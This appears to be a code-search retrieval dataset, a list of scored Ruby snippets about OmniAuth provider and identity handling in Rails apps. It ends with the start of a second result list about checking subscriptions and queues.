omniauth['info']['name'] if username.blank?\n self.last_name = omniauth['info']['name'] if last_name.blank?\n self.first_name = omniauth['info']['name'] if first_name.blank?\n self.image_url = omniauth['info']['image'] if image_url.blank?\n \n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end", "title": "" }, { "docid": "9afebddaa3ae98c6282a7787b10b68f6", "score": "0.5942061", "text": "def provider_data=(new_value)\n self[:provider_data] = Hashie::Mash.new new_value\n end", "title": "" }, { "docid": "e6ccc20556a6ff35fc89cdfe6d01c567", "score": "0.593162", "text": "def provider_id\n @data[\"providerId\"]\n end", "title": "" }, { "docid": "20d0cdc9a79ff7f246951c0f7d5ce22a", "score": "0.59243035", "text": "def provider_user_hash(provider, omniauth)\n case provider\n when :facebook\n {\n email: omniauth.info.email.downcase\n }\n when :twitter\n {\n }\n end\n end", "title": "" }, { "docid": "6d2227b9a6ed0bd3fafc97c10e8676f4", "score": "0.59212494", "text": "def apply_omniauth(omniauth)\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end", "title": "" }, { "docid": "f6fe8b1283f9f0e5977575a83eea757a", "score": "0.59199786", "text": "def add_authentication(provider, uid)\n # Only allow one authentication provider per use, e.g. don't let people\n # have multiple Twitter accounts linked. That could get confusing and in\n # general, people only have one of each anyway.\n authentications.each do |auth|\n if auth.provider == provider\n return auth\n end\n end\n auth = Authentication.new(:provider => provider, :uid => uid)\n auth.user = self\n auth.save\n return auth\n end", "title": "" }, { "docid": "1d82c7fcba0aea745bcc123b901a220f", "score": "0.591644", "text": "def apply_omniauth(omniauth)\n authentications.build(provider: omniauth['provider'], uid: omniauth['uid'])\n end", "title": "" }, { "docid": "bc4fcf98a9e44e4b9be558d6638b809a", "score": "0.59052163", "text": "def set_provider_provider\n @provider_provider = Provider::Provider.find(params[:id])\n end", "title": "" }, { "docid": "b1364ce92b2a35a840e3adf66777ee55", "score": "0.5903592", "text": "def attach_authorization_provider_to_existing_user env, user\n # '-------------- SessionsController#attach_authorization_provider_to_existing_user -----------'\n \n unless Omniauth.attach_provider( env, user )\n flash[:info] = \"Provider already attached to account\" \n else\n flash[:info] = \"#{env['omniauth.auth'][:provider].upcase} is linked to your account\" \n end\n user.update_shop\n redirect_to session[:current_page]\n end", "title": "" }, { "docid": "80d7fd993d8e7eda3c41d7a8d8301d4a", "score": "0.58993685", "text": "def apply_omniauth(omniauth)\n\t # self.email = omniauth['user_info']['email'] if email.blank?\n\t # self.thumb = omniauth['user_info']['email'] if email.blank?\n\t # self.name = omniauth['user_info']['name'] if name.blank?\n\t save_profile(omniauth)\n\t authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'],:token => omniauth['credentials']['token'])\n\tend", "title": "" }, { "docid": "040412aab94f277df2780b83c24cb054", "score": "0.5899187", "text": "def assign_provider_attrs(user, auth_hash)\n user.assign_attributes({\n nickname: auth_hash['info']['nickname'],\n name: auth_hash['info']['name'],\n avatar_url: get_large_image(auth_hash['info']['image']),\n email: auth_hash['info']['email']\n })\n end", "title": "" }, { "docid": "2e7805fc1beba154cf31df5f9cb27813", "score": "0.5898391", "text": "def user_provider_params\n params.require(:user_provider).permit(:user_id, :provider, :uid)\n end", "title": "" }, { "docid": "18e357c93ec880279d4866b6711e6d44", "score": "0.5886634", "text": "def update_and_connect_omniauth(omniauth_auth)\n existing_id_for_provider = self.send(User.oauth_provider_to_id_attr(omniauth_auth['provider']))\n \n if existing_id_for_provider.blank?\n new_values = { picurl: omniauth_auth['info']['image'] }\n new_values[User.oauth_provider_to_id_attr(omniauth_auth['provider']).to_sym] = omniauth_auth['uid']\n new_values[:email] = omniauth_auth['info']['email'] unless !self.email.blank? || omniauth_auth['info']['email'].blank?\n \n return update_attributes(new_values)\n end\n true\n end", "title": "" }, { "docid": "18e357c93ec880279d4866b6711e6d44", "score": "0.5886634", "text": "def update_and_connect_omniauth(omniauth_auth)\n existing_id_for_provider = self.send(User.oauth_provider_to_id_attr(omniauth_auth['provider']))\n \n if existing_id_for_provider.blank?\n new_values = { picurl: omniauth_auth['info']['image'] }\n new_values[User.oauth_provider_to_id_attr(omniauth_auth['provider']).to_sym] = omniauth_auth['uid']\n new_values[:email] = omniauth_auth['info']['email'] unless !self.email.blank? || omniauth_auth['info']['email'].blank?\n \n return update_attributes(new_values)\n end\n true\n end", "title": "" }, { "docid": "a3f0bab3c70703712542af83a54eac2d", "score": "0.5880368", "text": "def create\n @provider = Provider.new(provider_params)\n @address = Address.new(address_params)\n @address.save\n @provider.address = @address\n @user = User.find(current_user.id)\n @provider.user = current_user\n respond_to do |format|\n if @provider.save\n current_user.provider = @provider\n current_user.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n @address.rollback\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fde58b9435043e5a96277072b09177f4", "score": "0.58713037", "text": "def assign_provider_attrs user, auth_hash\n user.assign_attributes({\n username: auth_hash['info']['name'],\n name: auth_hash['info']['name'],\n email: auth_hash['info']['email'],\n gender: auth_hash['extra']['raw_info']['gender'],\n role: 'limited',\n facebook_id: auth_hash['uid'],\n sales_code: session['representative_code'],\n locale: session['localisation'].present? || !session['localisation'] == 'null' ? session['localisation'] : 'en_US'\n })\n end", "title": "" }, { "docid": "27071bed3faa7cb714e089ac6cf93f0d", "score": "0.58454037", "text": "def set_user_profile(user, provider_data)\n if user.profile.nil?\n profile = Profile.new\n profile.user_id = user.id\n names = provider_data.extra.raw_info.name.split(' ')\n profile.first_name = names[0]\n profile.last_name = names[1]\n profile.save\n end\n end", "title": "" }, { "docid": "12b6ac859925cc46728df8c6b2bf89d7", "score": "0.5844895", "text": "def find_or_create(identifier, user = nil, attrs_hash = {})\n expect! identifier => [String, nil]\n expect! user => [User, nil]\n expect! attrs_hash => Hash\n\n attrs_hash = attrs_hash.with_indifferent_access\n W(\"Oauth Attributes Hash\", attrs_hash) unless Rails.env.test?\n \n provider = self.name.split(\"::\").last.underscore\n if (expected = attrs_hash[:provider]).present? && expected.to_s != provider\n raise \"Wrong provider - actual: #{provider} vs. expected: #{expected}\"\n end\n \n transaction do\n user_identity = user.identity(provider.to_sym) if user\n identified_identity = self.where(:identifier => identifier).first\n\n # What happens if a user signs in via a provider, when he is already \n # logged in as a user, and the provider's identifier exists already in \n # the database, but belongs to another user? In this case we take\n # away the other user's identity and put it to this user.\n # \n # This scenario might sound esoteric. A use case, however, is:\n # \n # - user logs in via its provider's identifier\n # - user logs out\n # - now user registered via \"user@email.com\" email\n # - user starts or shares a quest. The application asks the user to add a provider login.\n # - user enters his provider's identifier.\n # \n \n # if an identity of the same provider exists, but belongs to a different user, we \"merge\" these users.\n # TODO: we have to move all objects belonging to the user to the new user as well and soft_delete the old one afterwards\n if identified_identity && user && identified_identity.user != user\n identified_identity.user = user\n identified_identity.save!\n end\n \n # init identity either from identity with the same identifier or\n # with the identity of the given user or\n # with a new instance of the actual identity class\n identity = identified_identity || user_identity || self.new\n \n # init or update identity attributes\n identity.identifier = identifier\n identity.credentials = attrs_hash[\"credentials\"] || {}\n identity.info = attrs_hash[\"info\"] || {}\n identity.extra = attrs_hash[\"extra\"] || {}\n \n # set user of identity if none is present already (if an identity for the given identifier was found)\n # to either a user with an identity with the same email or the given user (current_user)\n identity.user ||= (identified_identity && identified_identity.user) || Identity.find_user(identity.info) || user\n \n # Note: changes in serialized attributes are not detected by identity.changed?\n identity.save! #if identity.changed?\n identity\n end\n end", "title": "" }, { "docid": "2d8352448e8091f7b33a9828c9ce55bd", "score": "0.58419394", "text": "def set_provider\n self[:provider] = \"email\" if self[:provider].blank?\n end", "title": "" }, { "docid": "28a954d698087f4d888653fa3b9ef230", "score": "0.5840081", "text": "def update_from_provider(auth_hash, auth_provider)\n tap do |user|\n user.username = auth_hash.info.username || auth_hash.uid\n user.email = auth_hash.info.email\n user.first_name = auth_hash.info.first_name\n user.last_name = auth_hash.info.last_name\n user.institution = auth_provider.institution if user.institution.nil?\n user.save\n end\n end", "title": "" }, { "docid": "9d351498ca2229a0c61c07f0581b18d6", "score": "0.58328146", "text": "def update_from_provider(auth_hash, auth_provider)\n tap do |user|\n user.username = auth_hash.uid\n user.email = auth_hash.info.email\n user.first_name = auth_hash.info.first_name\n user.last_name = auth_hash.info.last_name\n user.institution = auth_provider.institution if user.institution.nil?\n user.save\n end\n end", "title": "" }, { "docid": "fbdb8ad9b8404f659a989d6aa9f6ef40", "score": "0.58235234", "text": "def set_provider\n\t self[:provider] = \"email\" if self[:provider].blank?\n\tend", "title": "" }, { "docid": "2159f79cb6362eddf84453f7feff3e54", "score": "0.5809392", "text": "def create\n omniauth = request.env[\"omniauth.auth\"]\n provider = Provider.find_by_name(omniauth['provider'])\n @identity = Identity.find_by_provider_id_and_email(provider.id, omniauth['uid'].to_s)\n\n if @identity \n @identity.user = current_user\n else\n @identity = Identity.new(:user => current_user, :provider => provider, :email => omniauth['uid'].to_s)\n end\n\n @identity.apply_omniauth omniauth\n respond_to do |format|\n if @identity.save\n\n if provider.id == 4\n client = FBGraph::Client.new(:client_id => FACEBOOK_ID, :secret_id => FACEBOOK_SECRET, :token => @identity.token)\n @identity.import_facebook(client.selection.me.info!)\n end\n\n if provider.id == 6\n client = LinkedIn::Client.new(LINKED_IN_ID, LINKED_IN_SECRET)\n client.authorize_from_access(@identity.token, @identity.secret)\n @identity.import_linked_in(client.profile(:fields => [:location, :headline, :summary, :positions, :educations]))\n end\n\n format.html { redirect_to(identities_url, :notice => 'Identity was successfully added.') }\n format.xml { render :xml => @identity, :status => :created, :location => @identity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @identity.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4a907a780fd3070ec4573cb3963fec9", "score": "0.5801709", "text": "def apply_omniauth(omniauth)\n if email.blank? && omniauth['user_info']['email']\n self.email = omniauth['user_info']['email']\n self.verified = true\n end\n self.name = omniauth['user_info']['name'] if name.blank?\n self.timezone = 'Eastern Time (US & Canada)' if timezone.blank?\n\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'], \n :token =>(omniauth['credentials']['token']),\n :secret =>(omniauth['credentials']['secret'])\n )\n end", "title": "" }, { "docid": "66f2b8bfca6a51aa4b5b379c52290312", "score": "0.5793591", "text": "def apply_omniauth(omniauth) \n case omniauth['provider']\n when 'facebook'\n self.apply_facebook(omniauth)\n end\n self.email = omniauth['user_info']['email'] if email.blank?\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'], :token =>(omniauth['credentials']['token'] rescue nil))\n end", "title": "" }, { "docid": "bbec95c243c297f65a29456308230d1b", "score": "0.578339", "text": "def assign_provider_attrs(user, auth_hash)\r\n user.assign_attributes({\r\n first_name: auth_hash['info']['first_name'],\r\n last_name: auth_hash['info']['last_name'],\r\n email: auth_hash['info']['email']\r\n })\r\n end", "title": "" }, { "docid": "24a8bb0bc4f2269ae840841b4aec6ba1", "score": "0.578191", "text": "def auth_as_user(user, provider=:google)\n OmniAuth.config.mock_auth[provider] = OmniAuth::AuthHash.new(\n {\n provider: provider.to_s,\n uid: user.uid,\n email: user.email\n })\n user.update(provider: provider.to_s)\nend", "title": "" }, { "docid": "74eb8fc3825565a67b5e1f7b2a6f4f93", "score": "0.57792073", "text": "def add_provider(auth_hash)\n\t # Check if the provider already exists, so we don't add it twice\n\t unless authorizations.find_by_provider_and_uid(auth_hash[\"provider\"], auth_hash[\"uid\"])\n\t\tAuthorization.create :user => self, :provider => auth_hash[\"provider\"], :uid => auth_hash[\"uid\"]\n\t end\n\tend", "title": "" }, { "docid": "2fdeff4564d42e98039d5c828217a525", "score": "0.57722855", "text": "def create_from_oauth(attributes, oauth_data)\n raise OmniAuth::MultiProvider::EmailTakenError if exists?(email: attributes[:email])\n create!(attributes)\n end", "title": "" }, { "docid": "ffb2a1f62ea9e9b9884902a2e7d94046", "score": "0.5764756", "text": "def identity_provider_type=(value)\n @identity_provider_type = value\n end", "title": "" }, { "docid": "ffb2a1f62ea9e9b9884902a2e7d94046", "score": "0.5764756", "text": "def identity_provider_type=(value)\n @identity_provider_type = value\n end", "title": "" }, { "docid": "58d57f0faf7e3fab1a7a0867644a2d86", "score": "0.57584727", "text": "def apply_omniauth(omni)\n # Sets User model info as necessary, depending on existing values and provided values\n self.email = omni['info']['email'] if self.email.blank?\n self.username = omni['info']['nickname'] if self.username.blank?\n self.authentications.build(\n :provider => omni['provider'],\n :uid => omni['uid'],\n :token => omni['credentials']['token'],\n :token_secret => omni['credentials']['secret'],\n )\n end", "title": "" }, { "docid": "4e3a76301716c7ddec5c8c9e5767d9e6", "score": "0.57494634", "text": "def get_provider_id(provider_id)\n if provider_id.present?\n provider = Provider.find_by_id provider_id\n provider = nil unless @providers.include? provider || current_user.super?\n end\n if provider.blank?\n #no provider\n if @providers.empty?\n #create a personal provider and grant user all permissions\n provider = Provider.create({name: @current_user.name+\" Classes\", email: @current_user.email, account: @new_provider_bank_number, tax_number: @new_provider_tax_number, visible: true, provider_plan: ProviderPlan.default}, as: :admin)\n provider_admin = ProviderAdmin.create provider: provider, chalkler: @current_user.chalkler\n provider_teacher = ProviderTeacher.create provider: provider, chalkler: @current_user.chalkler, name: @current_user.name, account: @new_provider_bank_number, tax_number: @new_provider_tax_number\n else\n if @providers.count == 1\n provider = @providers[0]\n end\n end\n end\n @provider = provider\n provider.id\n end", "title": "" }, { "docid": "37d6e891a3fa2a37d04d3aee91c27b6b", "score": "0.5736249", "text": "def create\n @identity_provider = IdentityProvider.new(identity_provider_params)\n\n respond_to do |format|\n if @identity_provider.save\n format.html { redirect_to @identity_provider, notice: 'Identity provider was successfully created.' }\n format.json { render :show, status: :created, location: @identity_provider }\n else\n format.html { render :new }\n format.json { render json: @identity_provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "37d6e891a3fa2a37d04d3aee91c27b6b", "score": "0.5736249", "text": "def create\n @identity_provider = IdentityProvider.new(identity_provider_params)\n\n respond_to do |format|\n if @identity_provider.save\n format.html { redirect_to @identity_provider, notice: 'Identity provider was successfully created.' }\n format.json { render :show, status: :created, location: @identity_provider }\n else\n format.html { render :new }\n format.json { render json: @identity_provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "987446f50a7c3fcc4ccffd2c59c6083e", "score": "0.57351786", "text": "def provider=(value)\n @provider = value\n end", "title": "" }, { "docid": "987446f50a7c3fcc4ccffd2c59c6083e", "score": "0.57351786", "text": "def provider=(value)\n @provider = value\n end", "title": "" }, { "docid": "bc00aa3cda52faa87750041a5fc34169", "score": "0.5734694", "text": "def apply_omniauth(omniauth)\n if [\"facebook\", 'google_oauth2'].include? omniauth['provider']\n self.email = omniauth['info']['email'] if email.blank?\n self.first_name = omniauth['info']['first_name'] rescue ''\n self.last_name = omniauth['info']['last_name'] rescue ''\n end\n user_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'], :fb_token => omniauth['credentials']['token'])\n end", "title": "" }, { "docid": "0c3680b00a495a3c81a33055658c08b1", "score": "0.5724146", "text": "def nice_provider_from_data(provider, options = {})\n np = h(provider.to_s)\n\n if options[:link] and options[:provider_id].to_i > 0\n np = link_to np, :controller => :providers, :action => :edit, :id => options[:provider_id].to_i\n end\n\n np\n end", "title": "" }, { "docid": "a17e02fea0a43e9a5618b5f1791318e9", "score": "0.5724031", "text": "def create\n omniauth = request.env[\"omniauth.auth\"]\n authentication = Authentication.where(provider: omniauth['provider'], uid: omniauth['uid']).first\n if authentication\n # Just sign in an existing user with omniauth\n # The user have already used this external account\n flash[:notice] = t('devise.sessions.signed_in')\n sign_in_and_redirect(:user, authentication.user)\n elsif current_user\n # Add authentication to signed in user\n # User is logged in\n current_user.authentications.create!(provider: omniauth['provider'], uid: omniauth['uid'])\n flash[:notice] = t(:PROVIDER_ADDED, provider: omniauth['provider'])\n redirect_to authentications_url\n elsif omniauth['provider'] != 'twitter' && omniauth['provider'] != 'linked_in' && user = new_omniauth_user(omniauth)\n session[:omniauth] = omniauth\n redirect_to(:controller => 'users', :action => 'email')\n elsif user = try_find(omniauth)\n sign_in(:user, user)\n current_user.authentications.create!(provider: omniauth['provider'], uid: omniauth['uid'])\n flash[:notice] = t(:PROVIDER_ADDED, provider: omniauth['provider'])\n redirect_to authentications_url\n elsif (omniauth['provider'] == 'twitter' || omniauth['provider'] == 'vkontakte' || omniauth['provider'] == 'linked_in') &&\n omniauth['uid'] && (omniauth['info']['name'] || omniauth['info']['nickname'] ||\n (omniauth['info']['first_name'] && omniauth['info']['last_name']))\n session[:omniauth] = omniauth.except('extra')\n redirect_to(:controller => 'users', :action => 'email')\n else\n # New user data not valid, try again\n flash[:alert] = t(:SOMETHING_WENT_WRONG)\n redirect_to new_user_registration_url\n end\n end", "title": "" }, { "docid": "2167e72163d4fdb1ee8cfc963ffdd46a", "score": "0.57226247", "text": "def copy_uid_to_identity_id\n self.identity_id = uid if provider == \"identity\"\n end", "title": "" }, { "docid": "1707df9c7c313bbd5431fb3c0e6dc7ed", "score": "0.5714019", "text": "def sign_in_through_provider(provider)\n @user = User.find_for_provider_oauth(request.env[\"omniauth.auth\"], current_user)\n\n if @user.persisted?\n sign_in_and_redirect @user, event: :authentication\n set_flash_message(:notice, :success, email: @user.email) if is_navigational_format?\n else\n session[\"devise.#{provider}_data\"] = request.env[\"omniauth.auth\"].except(\"extra\")\n redirect_to new_user_registration_url\n end\n end", "title": "" }, { "docid": "1e4ccbed358c98d2c21520211d1891f5", "score": "0.57078946", "text": "def provider_id\n provider.present? ? provider.uid : nil\n end", "title": "" }, { "docid": "23dd54ebaab1a0cafbc383dbc4d27369", "score": "0.5707287", "text": "def nice_provider_from_data(provider, options = {})\n np = h(provider.to_s)\n if options[:link] and options[:provider_id].to_i > 0\n np = link_to np, :controller => :providers, :action => :edit, :id => options[:provider_id].to_i\n end\n np\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "808d812bbf9896b5b45a1109ffedd8cd", "score": "0.5697935", "text": "def set_provider\n @provider = Provider.find(params[:id])\n end", "title": "" }, { "docid": "362a548591f6d164aff88cb81a104b18", "score": "0.5696706", "text": "def generic_callback(provider)\n @identity = Identity.find_for_oauth request.env[\"omniauth.auth\"]\n\n @user = @identity.user || User.find_by(email: @identity.email) || current_user\n\n if @user.nil?\n @user = User.create( email: @identity.email || \"\" )\n @identity.update_attribute(:user_id, @user.id)\n end\n\n if @user.email.blank? && @identity.email\n @user.update_attribute(:email, @identity.email)\n end\n\n if @user.first_name.blank? && @identity.first_name\n @user.update_attribute(:first_name, @identity.first_name)\n end\n\n if @user.last_name.blank? && @identity.last_name\n @user.update_attribute(:last_name, @identity.last_name)\n end\n\n if @identity.birthday\n age = Date.today.year - @identity.birthday.year\n age -= 1 if Date.today < @identity.birthday + age.years\n @user.update_attribute(:age, age)\n end\n\n # @user.update_attribute(:hometown, @identity.hometown) if @identity.hometown\n #\n # @user.update_attribute(:location, @identity.location) if @identity.location\n\n @user.update_attribute(:profile_picture_url, @identity.image) if @identity.image && @user.profile_picture_url.blank?\n\n if @user.persisted?\n @identity.update_attribute(:user_id, @user.id)\n @user = User.find @user.id\n sign_in_and_redirect @user, event: :authentication\n set_flash_message(:notice, :success, kind: provider.capitalize) if is_navigational_format?\n else\n session[\"devise.#{provider}_data\"] = request.env[\"omniauth.auth\"]\n redirect_to new_user_registration_url\n end\n\n end", "title": "" }, { "docid": "31a7d5bd95748e4a12c46fb4e8b8d1a7", "score": "0.56894666", "text": "def set_provider\r\n @provider = Provider.find(params[:id])\r\n end", "title": "" }, { "docid": "f960017d643e572ada60e1de374d03f4", "score": "0.5683941", "text": "def identity_provider_params\n params.require(:identity_provider).permit(:name, :requestor, :idp_entity_id, :idp_sso_target_url, :idp_slo_target_url, :idp_cert, :idp_cert_fingerprint, :idp_cert_fingerprint_algorithm)\n end", "title": "" }, { "docid": "2b34967922a31b0200d8d143294b9415", "score": "0.56787", "text": "def create_user provider_name\n begin\n attrs = user_attrs(@provider.user_info_mapping, @user_hash)\n @user = User.find_by(email: attrs[:email])\n @user ||= create_with_avatar_from(provider_name)\n reset_session\n auto_login(@user)\n add_provider_to_user(provider_name)\n redirect_to(root_path)\n rescue\n redirect_to(root_path,\n :error => \"Failed to login from #{provider_name.titleize}!\"\n )\n end\n end", "title": "" }, { "docid": "3b086176185c9e71c92f6f937e03a59c", "score": "0.5674329", "text": "def apply_omniauth(omniauth)\n self.email = omniauth['extra']['user_hash']['email'] if email.blank?\n authentications.build(:uid => omniauth['uid'], :token => omniauth['credentials']['token'] )\n end", "title": "" }, { "docid": "fabc406a6fe13c2ee0b68330961e3e09", "score": "0.5667999", "text": "def create_auth_provider(body)\n # checks if all required parameters are set\n \n raise ArgumentError, 'Missing required parameter \"body\"' if body.nil?\n \n\n op = NovacastSDK::Client::Operation.new '/auth_providers', :POST\n\n # path parameters\n path_params = {}\n op.params = path_params\n\n # header parameters\n header_params = {}\n op.headers = header_params\n\n # query parameters\n query_params = {}\n op.query = query_params\n\n # http body (model)\n \n op.body = body.to_json\n \n\n \n\n resp = call_api op\n\n \n NovacastSDK::IdentityV1::Models::AuthProvider.from_json resp.body\n \n end", "title": "" }, { "docid": "cb654f2cd564f5a44ebb96fd281298a7", "score": "0.56646776", "text": "def apply_user_info(omniauth, provider = nil)\n if omniauth_email = omniauth.recursive_find_by_key(:email)\n if self.email.blank?\n self.email = omniauth_email\n end\n end\n self.skip_confirmation! if self.email == omniauth_email\n end", "title": "" }, { "docid": "d9050a0cb8a92e5da89a68c9bae680c8", "score": "0.5654186", "text": "def initialize providers, openid_providers = {}\n @providers = providers unless providers.blank?\n @openid_providers = openid_providers unless openid_providers.blank?\n end", "title": "" }, { "docid": "5841dd2666801ccc61d8e01fc609cc09", "score": "0.56271917", "text": "def set_provider\n @provider = Provider.friendly.find(params[:id])\n end", "title": "" }, { "docid": "5841dd2666801ccc61d8e01fc609cc09", "score": "0.56271917", "text": "def set_provider\n @provider = Provider.friendly.find(params[:id])\n end", "title": "" }, { "docid": "5841dd2666801ccc61d8e01fc609cc09", "score": "0.56271917", "text": "def set_provider\n @provider = Provider.friendly.find(params[:id])\n end", "title": "" } ]
a1a4294358577f2cbf73244073691f39
Check if a device is subscribed to a queue
[ { "docid": "6e3d6513ec7432da94f19168fc262c55", "score": "0.6251149", "text": "def check_subscription(user, device_id, sub)\n if @subscriptionLists.hasKey device_id\n device = @subscriptionLists.getRepositoryObject(device_id).getObject\n return \"{\\\"subscribed\\\": \\\"#{device.hasSubscription?(sub)}\\\"}\"\n else\n return \"{\\\"subscribed\\\": \\\"false\\\"}\"\n end\n end", "title": "" } ]
[ { "docid": "ca5fba75b6947483c32459cb063cfbc7", "score": "0.70573455", "text": "def subscribed?(event)\n subscriptions.include?(event)\n end", "title": "" }, { "docid": "b24a3d31082dbfac5d32162da414ee2c", "score": "0.70529956", "text": "def subscribed?\n !ended? && !unsubscribed?\n end", "title": "" }, { "docid": "1141822a9d51d1b0a60eea1bc16616a1", "score": "0.6906476", "text": "def suscription_on?\n is_subscribed == true\n end", "title": "" }, { "docid": "e365bb6753f4a5935a1d9b0da1b24bea", "score": "0.6863988", "text": "def subscribed?\n self.subscription == :subscribed\n end", "title": "" }, { "docid": "072558f0bff43a66f6c77214759e6381", "score": "0.67339367", "text": "def subscribed?\n status == 1 || status == 2\n end", "title": "" }, { "docid": "022b3cc21b3f842f144bbf63b3eaaaad", "score": "0.67303896", "text": "def subscribed?\n self.type == :subscribed\n end", "title": "" }, { "docid": "29a75795e416e3fec19ce3928ee70e00", "score": "0.67193586", "text": "def exists?\n queue_exists?(@name)\n end", "title": "" }, { "docid": "40b0f497220011134c2d595a03f4c30d", "score": "0.6713197", "text": "def IsSubscribed()\r\n ret = _getproperty(1610743814, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "40b0f497220011134c2d595a03f4c30d", "score": "0.6713197", "text": "def IsSubscribed()\r\n ret = _getproperty(1610743814, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "4ff436585ec58e3f3718760b4f510023", "score": "0.6689829", "text": "def subscribe?\n self.type == :subscribe\n end", "title": "" }, { "docid": "4b579a2da4040e819f0ec3407ca0dc4c", "score": "0.6657609", "text": "def request?\n self.type == :subscribe\n end", "title": "" }, { "docid": "972d086adba8597899f9cd9c0ca90a53", "score": "0.6556532", "text": "def has_queued_events?\n !@propagation.empty?\n end", "title": "" }, { "docid": "6ba4ca28311f0e7ba1decd5657306e7c", "score": "0.65558857", "text": "def subscriber?(dbname = nil)\n subscriptions(dbname).any?\n end", "title": "" }, { "docid": "269dcee908be23ec446b4309f5b87bbc", "score": "0.6545439", "text": "def queued?\n PlayQueue.songs.include?(self)\n end", "title": "" }, { "docid": "a200c91fbdabeae8b1036695e392fb71", "score": "0.65315187", "text": "def subscribed?\n\t\t\t!!@update_timer\n\t\tend", "title": "" }, { "docid": "5ff4f628a02f4d27d983616764fa62e7", "score": "0.6523963", "text": "def check_subscription\n !subscribed || subscription_present?\n end", "title": "" }, { "docid": "8aab35297882610b71e3a2c36cb2863d", "score": "0.64986396", "text": "def subscribed?(object)\n subscriptions.include?(remote_object(object))\n rescue RemotePeerMismatch\n false\n end", "title": "" }, { "docid": "877014a8f682b4da2ce471930d925a73", "score": "0.6498028", "text": "def pending_data?\n !pending_queues.empty?\n end", "title": "" }, { "docid": "31deb30b3f3ebdc43ca211316f138f5c", "score": "0.6485622", "text": "def queued_messages?\r\n @pointer < @buffer.length\r\n end", "title": "" }, { "docid": "3857b7fbcf7aa355e3a6d5c281e3f9fc", "score": "0.6467436", "text": "def queued_messages?\n @pointer < @buffer.length\n end", "title": "" }, { "docid": "7c1822637af344f5c566604e9c50db21", "score": "0.6461199", "text": "def subscribed?\n managers.map(&:subscribed?).include?(true) ? true : false\n end", "title": "" }, { "docid": "026dc82721948e84503e14b56c9c8899", "score": "0.64454347", "text": "def queued?\n Resque.info.fetch(:pending) > 10\n end", "title": "" }, { "docid": "2cc2f7293e9391be860f6d9d7aefda1b", "score": "0.6406284", "text": "def has_notifications?\n !notification_queue.empty?\n end", "title": "" }, { "docid": "3ec27819f58ddcfaaf910ee7697d8a82", "score": "0.64058006", "text": "def in_queue?\n depq_or_subpriority().kind_of? Depq\n end", "title": "" }, { "docid": "a2bab11e6e6558d795d5aa9be31b02da", "score": "0.63969123", "text": "def IsSubscribed=(arg0)", "title": "" }, { "docid": "a2bab11e6e6558d795d5aa9be31b02da", "score": "0.63969123", "text": "def IsSubscribed=(arg0)", "title": "" }, { "docid": "6eb66497e8b65bdb9d0276bcc80ffeb3", "score": "0.63903135", "text": "def subscribed?(subscribable, subscription_level = nil)\n subscribed(subscribable, subscription_level) != nil\n end", "title": "" }, { "docid": "1bd49bcfb445a275b95f2e808e6c0b51", "score": "0.6388192", "text": "def queued?\n dj.present?\n end", "title": "" }, { "docid": "3f1e7eb8a11985769e7a542f834f2ac4", "score": "0.63866913", "text": "def queued?\n @queued\n end", "title": "" }, { "docid": "4243bae25d9b888fef9feab89bc40824", "score": "0.63640964", "text": "def available?\n session_bus = DBus::SessionBus.instance\n session_bus.service('org.a11y.Bus').exists?\n end", "title": "" }, { "docid": "a59b48e2e988f64bf125f1898611f094", "score": "0.63569677", "text": "def is_any_subscription_active?\n is_subscription_active?\n 